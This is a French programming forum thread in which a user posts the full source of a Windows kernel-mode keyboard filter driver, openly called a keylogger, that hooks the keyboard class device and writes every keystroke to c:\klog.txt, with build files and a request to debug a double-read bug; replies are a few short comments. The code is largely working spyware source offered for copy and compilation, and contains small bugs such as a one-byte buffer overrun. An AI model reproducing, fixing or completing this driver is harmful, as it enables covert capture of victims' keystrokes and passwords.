Réaliser un keylogger?! j'ai un problème heeeeeeeeelp!

Aumenov Messages postés 9 Date d'inscription dimanche 23 décembre 2007 Statut Membre Dernière intervention 13 janvier 2008 - 11 janv. 2008 à 13:20
Sebopop2 Messages postés 34 Date d'inscription dimanche 17 décembre 2006 Statut Membre Dernière intervention 16 juillet 2008 - 14 févr. 2008 à 00:52
Salut,

Je
suis en train de dévélopper un keylogger. Je me suis largement inspirer
du code se trouvant ici
http://www.cppfrance.com/infomsg_COMPILATION-DRIVER-WINDOWS_918558.aspx
Je n'ai pas de problème de compilation mais j'ai un bug que
j'arrive pas à résoudre...
Mon bug est le suivant: la fonction dispatchRead est appellée DEUX fois pour une SEULE frappe clavier. Du coup, la variable numPendingIrps
est incrémentée d'un cran de trop à chaque frappe clavier. Ainsi, quand
on souhaite arreter le driver donc quand on appelle la fonction Unload cette
variable a la valeur "1" (car DispatchRead est appellée un fois de
trop), donc la boucle while de la fonction Unload est infinie puisque
la condition est toujours fausse (numPendingIrps != 0, car incrémentée
d'une fois de trop à cause de l'appel de trop de DispatchRead).  Pour
pouvoir sortir de cette boucle, il faut appyer sur une touche
quelconque pour que la fonction OnReadCompletion soit appellée et donc numPendingIrps soit décrémentée et c'est ainsi qu'on sort de la boucle et la fonction Unload se termine.

Compiler mon code avec DKK. Pour lancer le .sys vous pouvez utiliser kmdManager et pour afficher les traces DebugView.
Un
cas simple vous permettant de voir que DispatchRead est appellée deux
fois au lieu d'une seule, lancez le driver et debugView et appuyez sur
une SEULE touche (une lettre) vous aller voir que cette fonction est appellée deux fois!

Je vous joins mon code. J'ai ajouté du code pour pouvoir écrire les frappes claviers dans le fichier c:/klog.txt.
Mais
attention pour tester ce code n'utiliser que les touches correspondant
aux lettres de l'alphabet: pour l'instant mon keylogger gère que la
lettre de l'alphabet pour le reste des touches il les traduit par "-".

Je
compte beaucoup sur ceux qui ont de l'expérience dans ce domaine car ça
fait un moment que j'essaye de corriger ce bug maintenant mais en
vain...

Mon code:
#################keylogger.c################
include <ntddk.h>
#include <string.h>
#include "keysLoggerComments.h"

int numPendingIrps = 0;

//The Unload routine performs any operations that are necessary before the system unloads the driver
VOID Unload( IN PDRIVER_OBJECT pDriverObject){

  KTIMER  kTimer;
  LARGE_INTEGER timeout;
       
    // Get the pointer to the device extension.
  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
  DbgPrint(".....Driver Unload Called.....\n");

    // Detach from the device underneath that we're hooked to.
      IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
    DbgPrint("Keyboard hook detached from device\n");

    // Create a timer.
  timeout.QuadPart = 1000000;// .1 s
  KeInitializeTimer(&kTimer);
   
  while(numPendingIrps > 0){
   // Set the timer.
   KeSetTimer(&kTimer,timeout,NULL);
   KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
  }

    // Set our key logger worker thread to terminate.
  pKeyboardDeviceExtension->bThreadTerminate = 1;
    // Wake up the thread if its blocked & WaitForXXX after this call.
  KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,TRUE);

    // Wait until the worker thread terminates.
  DbgPrint("Waiting for key logger thread to terminate\n");
  KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,Executive,KernelMode,FALSE,NULL);
  DbgPrint("Key logger thread terminated\n");
    // Close the log file.
  ZwClose(pKeyboardDeviceExtension->hLogFile);

    // Delete the device.
  IoDeleteDevice(pDriverObject->DeviceObject);
  DbgPrint("Tagged IRPs dead...Terminating\n");
 
  //The end
  DbgPrint("..... Driver Unload finished.....\n");
  return;
}

// IRP -> I/OManager
NTSTATUS IODispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp){
   Irp->IoStatus.Status = STATUS_SUCCESS;
   IoCompleteRequest(Irp,IO_NO_INCREMENT);
   return STATUS_SUCCESS;
}

//This function is to be improved
VOID ConvertScanCodeToKeyCode(USHORT KeyData, char* keys){
   
    //DbgPrint("..... ConvertScanCodeToKeyCode.....\n");   
    switch (KeyData){
   
        case (0x10):
              strcpy (keys, "a");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x11):
              strcpy (keys, "z");
             DbgPrint(" keys: %s\n", keys);
              break;
              
         case (0x12):
              strcpy (keys, "e");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x13):
              strcpy (keys, "r");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x14):
              strcpy (keys, "t");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x15):
              strcpy (keys, "y");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x16):
              strcpy (keys, "u");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x17):
              strcpy (keys, "i");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x18):
              strcpy (keys, "o");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x19):
              strcpy (keys, "p");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x1e):
              strcpy (keys, "q");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x1f):
              strcpy (keys, "s");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x20):
              strcpy (keys, "d");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x21):
              strcpy (keys, "f");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x22):
              strcpy (keys, "g");
             DbgPrint(" keys: %s\n", keys);
              break;     
         case (0x23):
              strcpy (keys, "h");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x24):
              strcpy (keys, "j");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x25):
              strcpy (keys, "k");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x26):
              strcpy (keys, "l");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x27):
              strcpy (keys, "m");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2c):
              strcpy (keys, "w");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2d):
              strcpy (keys, "x");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2e):
              strcpy (keys, "c");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x2f):
              strcpy (keys, "v");
             DbgPrint(" keys: %s\n", keys);
              break;                         
         case (0x30):
              strcpy (keys, "b");
             DbgPrint(" keys: %s\n", keys);
              break;
         case (0x31):
              strcpy (keys, "n");
             DbgPrint(" keys: %s\n", keys);
              break;
       
        default:
            strcpy (keys, "-");
    }
        //DbgPrint(".....ConvertScanCodeToKeyCode.....\n");        
}

VOID ThreadKeyLogger(IN PVOID pContext){
 
   
    char  keys[1];// this array will contain the key code.
    PLIST_ENTRY pListEntry;
    KEY_DATA * kData; // a data structure used to hold scancodes in the linked list
       
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
    PDEVICE_OBJECT pKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

    //DbgPrint(".....ThreadKeyLogger.....\n"); 
                  
      //The code waits for the semaphore using KeWaitForSingleObject.
      //If the semaphore is incremented, the processing loop knows to continue                
      while(TRUE){
           // Wait for data to become available in the queue.
           KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);
   
           //The topmost item is removed safely from the linked list.
  
        pListEntry =
ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,&pKeyboardDeviceExtension->lockQueue);

           if(pKeyboardDeviceExtension->bThreadTerminate == 1){
         PsTerminateSystemThread(STATUS_SUCCESS);
         }
   
          //The CONTAINING_RECORD macro returns the base address of the structure containing the field ListEntry.
          kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
        //DbgPrint("the kData->KeyData is : %x\n",kData->KeyData);
        // Convert the scan code to a key code.
          ConvertScanCodeToKeyCode(kData->KeyData,keys);

        if(TRUE/*keys != 0*/){
        // Write the data out to a file.
               if(pKeyboardDeviceExtension->hLogFile != NULL){
                   IO_STATUS_BLOCK io_status;
                NTSTATUS status = ZwWriteFile(
                                    pKeyboardDeviceExtension->hLogFile,
                                    NULL,
                                    NULL,
                                    NULL,
                                        &io_status,
                                     &keys,
                                    strlen(keys),
                                    NULL,
                                         NULL);

                 if(status != STATUS_SUCCESS){
                     ;
                    //DbgPrint("Writing scan code to file failed!\n");
                 }
                else  ;
                    //DbgPrint("Scan code '%s' successfully written to the log file.\n",keys);
        
            }// end if
        }// end if
    }// end while
 
      //DbgPrint(".....ThreadKeyLogger finished.....\n");
      return;
}// end ThreadLogKeyboard

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context){
    KEY_DATA * kData ;
    int i = 0;
    // Get the device extension - we'll need to use it later.
      PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
      DbgPrint(".....OnReadCompletion called.....\n");
      // If the request has completed, extract the value of the key.
      if(pIrp->IoStatus.Status == STATUS_SUCCESS){

           PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA )pIrp->AssociatedIrp.SystemBuffer;
           int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
  
           for(i = 0; i < numKeys; i++){

              kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
              // Fill in kData structure with info from IRP.
              kData->KeyData = keys[i].MakeCode;     
              //Add the scan code to the linked list queue so our worker thread can write it out to a file.
              //DbgPrint("Adding IRP to work queue");
              ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
                                      &kData->ListEntry,
                                      &pKeyboardDeviceExtension->lockQueue);
              // Increment the semaphore by 1 - no WaitForXXX after this call.
              KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,   
                             0,
                             1,
                             FALSE);
           }// end for
    }// end if
      // Mark the IRP pending if necessary.
      if(pIrp->PendingReturned) IoMarkIrpPending(pIrp);
      numPendingIrps--;
       DbgPrint("OnReadCompletion::numPendingIrps : %d", numPendingIrps);
      DbgPrint(".....OnReadCompletion finished.....\n");
      return pIrp->IoStatus.Status;

}// end OnReadCompletion

//This routine is set up to be used specifically for keyboard read requests.
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp){
   
    PIO_STACK_LOCATION currentIrpStack;
    PIO_STACK_LOCATION nextIrpStack;
    DbgPrint(".....DispatchRead called......\n");
    currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
    nextIrpStack = IoGetNextIrpStackLocation(pIrp);
    *nextIrpStack = *currentIrpStack;
    IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
    numPendingIrps++;
    DbgPrint(".....DispatchRead finished......\n");
    return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
   
}// end DispatchRead

 //This function creates a WORKER THREAD that can write keystrokes to a log file.
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject){
   
   
    HANDLE hThread;
      NTSTATUS status;
     
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
    //DbgPrint(".....InitThreadKeyLogger called.....\n");  
    // Set the worker thread to running state in device extension.
    pKeyboardDeviceExtension->bThreadTerminate = 0;
    // Create the worker thread.
    status = PsCreateSystemThread(&hThread,
                                 (ACCESS_MASK)0,
                                 NULL,
                                 (HANDLE)0,
                                 NULL,
                                 ThreadKeyLogger,          //Is the entry point for the driver thread.
   
                             pKeyboardDeviceExtension);//Supplies a
single argument passed to the thread when it begins execution.      
                         
      if(!NT_SUCCESS(status)) return status;
  .
      ObReferenceObjectByHandle(hThread,
                              THREAD_ALL_ACCESS,
                              NULL,
                              KernelMode,
                              (PVOID*)&pKeyboardDeviceExtension->pThreadObj,
                              NULL);

    ZwClose(hThread);
   
    //DbgPrint(".....InitThreadKeyLogger finished.....\n");
      return status;

} // END InitThreadKeyLogger

//The HookKeyboard function
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject){
    // the filter device object
    PDEVICE_OBJECT pKeyboardDeviceObject;
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
    CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
    STRING  ntNameString;
    UNICODE_STRING uKeyboardDeviceName;
    NTSTATUS status;
    DbgPrint(".....HookKeyBoard called.....\n");  
    //This function returns a pointer to a DeviceObject that contains a pointer to the device extension.
    status = IoCreateDevice(pDriverObject,          //driver to which the device is associated.
                                       sizeof(DEVICE_EXTENSION),
   
                                   NULL,// no name           //WDM
filter and function drivers do not name their device objects.
                                       FILE_DEVICE_KEYBOARD,     //the type of the device.
                                       0,                        //no secific characteristiccs.
                                       TRUE,                     //true if driver is reserved for system use.
                                       &pKeyboardDeviceObject);  //the device to be created.

    // Make sure the device was created.
    if(!NT_SUCCESS(status)) return status;

     pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
    RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));

    // Get the pointer to the device extension.
    pKeyboardDeviceExtension =(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
     
    RtlInitAnsiString(&ntNameString, ntNameBuffer);
    RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,
                                 &ntNameString,
                                 TRUE );
      status = IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,
                   &pKeyboardDeviceExtension->pKeyboardDevice);
    RtlFreeUnicodeString(&uKeyboardDeviceName);
    // Make sure the device was successefully attached to the driver.
    if(!NT_SUCCESS(status)) return status;
   
    DbgPrint(".....HookKeyBoard finished.....\n");
      return STATUS_SUCCESS;

}// end HookKeyboard

//The driverEntry function
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ){

   
      NTSTATUS Status = {0};
    PDEVICE_EXTENSION pKeyboardDeviceExtension;
      IO_STATUS_BLOCK file_status;
      OBJECT_ATTRIBUTES obj_attrib;
    CCHAR  ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
    STRING ntNameString;
    UNICODE_STRING uFileName;   
    int i = 0;
   
    DbgPrint(".....DriverEntry called.....\n");
   
    for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    pDriverObject->MajorFunction[i] = IODispatch;

    // Explicitly fill in the IRP handlers we want to hook.
      pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
     
      // Hook the keyboard now.
      HookKeyboard(pDriverObject); 
      InitThreadKeyLogger(pDriverObject);
      //pDriverObject->DeviceObject->DeviceExtension has been already initialized in HookKeyboard function.
      pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
      //initializing the shared buffer which is a linked list.
    InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
    //Initialize the lock for the linked list queue.
       KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
    //Initialize the work queue semaphore.
    KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);
    // Create the log file.
    RtlInitAnsiString(&ntNameString, ntNameFile);
    RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);
    InitializeObjectAttributes(&obj_attrib, &uFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
                        GENERIC_WRITE,
                        &obj_attrib,
                        &file_status,
                        NULL,
                        FILE_ATTRIBUTE_NORMAL,
                        0,
                        FILE_OPEN_IF,
                        FILE_SYNCHRONOUS_IO_NONALERT,
                        NULL,
                        0);

      RtlFreeUnicodeString(&uFileName);

      if (Status != STATUS_SUCCESS)
    {
        //DbgPrint("Failed to create log file\n");
        //DbgPrint("File Status = %x\n",file_status);
    }
    else
    {
        //DbgPrint("Successfully created log file\n");
        //DbgPrint("File Handle = %x\n",pKeyboardDeviceExtension->hLogFile);
    }

    // Set the DriverUnload procedure.
    pDriverObject->DriverUnload = Unload;

    DbgPrint(".....DriverEntry finished.....\n\n");
    return STATUS_SUCCESS;
   
}//END OF DRIVERENTRY

##############keylogger.h#################

#ifndef _KEYSLOGGER_
#define _KEYSLOGGER_

//Gives the number of IRPs waiting for beeing processed.
extern int numPendingIrps;

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
     ULONG SystemInformationCLass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength
);

typedef struct _DEVICE_EXTENSION{

      PDEVICE_OBJECT pKeyboardDevice;
    PETHREAD pThreadObj;           //a thread that writes stores key strikes into a file.
    int bThreadTerminate;         //if equals "true", it indicates that the worker thread is terminated.
    HANDLE hLogFile;               //references the logfile: where key strikes are stored.
    //KEY_STATE kState;              //
    KSEMAPHORE semQueue;
    KSPIN_LOCK lockQueue;
  
 LIST_ENTRY QueueListHead;      //Linked list where key strike codes
are stored before converting and writing them into the log file.

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef struct _KEYBOARD_INPUT_DATA {
    USHORT UnitId;
     USHORT MakeCode;
     USHORT Flags;// Pour l'instant je ne l'utilise pas!!!
     USHORT Reserved;
     ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

typedef struct _KEY_DATA {
     USHORT KeyData;
    //char KeyFlags;
    LIST_ENTRY ListEntry;
} KEY_DATA;

VOID ConvertScanCodeToKeyCode(USHORT KeyData ,char* keys);
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS IODispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath);
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp);
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context);
VOID Unload( IN PDRIVER_OBJECT pDriverObject);
VOID ThreadKeyLogger(IN PVOID pContext);

#endif //_KEYSLOGGER_

###########SOURCES############
TARGETNAME=keyslogger
TARGETPATH=OBJ
TARGETTYPE=DRIVER
INCLUDES=..\..\inc
TARGETLIBS=$(DDK_LIB_PATH)\ndis.lib

SOURCES=keylogger.c

########MAKEFILE##########
!INCLUDE $(NTMAKEENV)\makefile.def

-------------------------- FIN CODE -----------------------

Voilà  un simple copier coller et vous pouvez tout compiler... A vous de jouer...

Merci pour votre aide!

3 réponses

jeffy131 Messages postés 123 Date d'inscription samedi 14 juillet 2007 Statut Membre Dernière intervention 29 mars 2009 1
12 janv. 2008 à 18:12
Ce code n'a aucun sens.

Un keylogger, ça se fait en 15 lignes
0
Aumenov Messages postés 9 Date d'inscription dimanche 23 décembre 2007 Statut Membre Dernière intervention 13 janvier 2008 4
13 janv. 2008 à 22:35
ça m'avance beaucoup cette réponse!!!!!!
Ce que je souhaite faire c'est un driver!!!!! Je suis sur que tu n'as pas pris le temps de lire le code....

Amicalement
0
Sebopop2 Messages postés 34 Date d'inscription dimanche 17 décembre 2006 Statut Membre Dernière intervention 16 juillet 2008
14 févr. 2008 à 00:52
je viens tout juste de me mettre au kmd, alors bon, mais si tu as un msg keyup/down, les 2 appels st logiques,je dis ca g rien dis hein...
0
Rejoignez-nous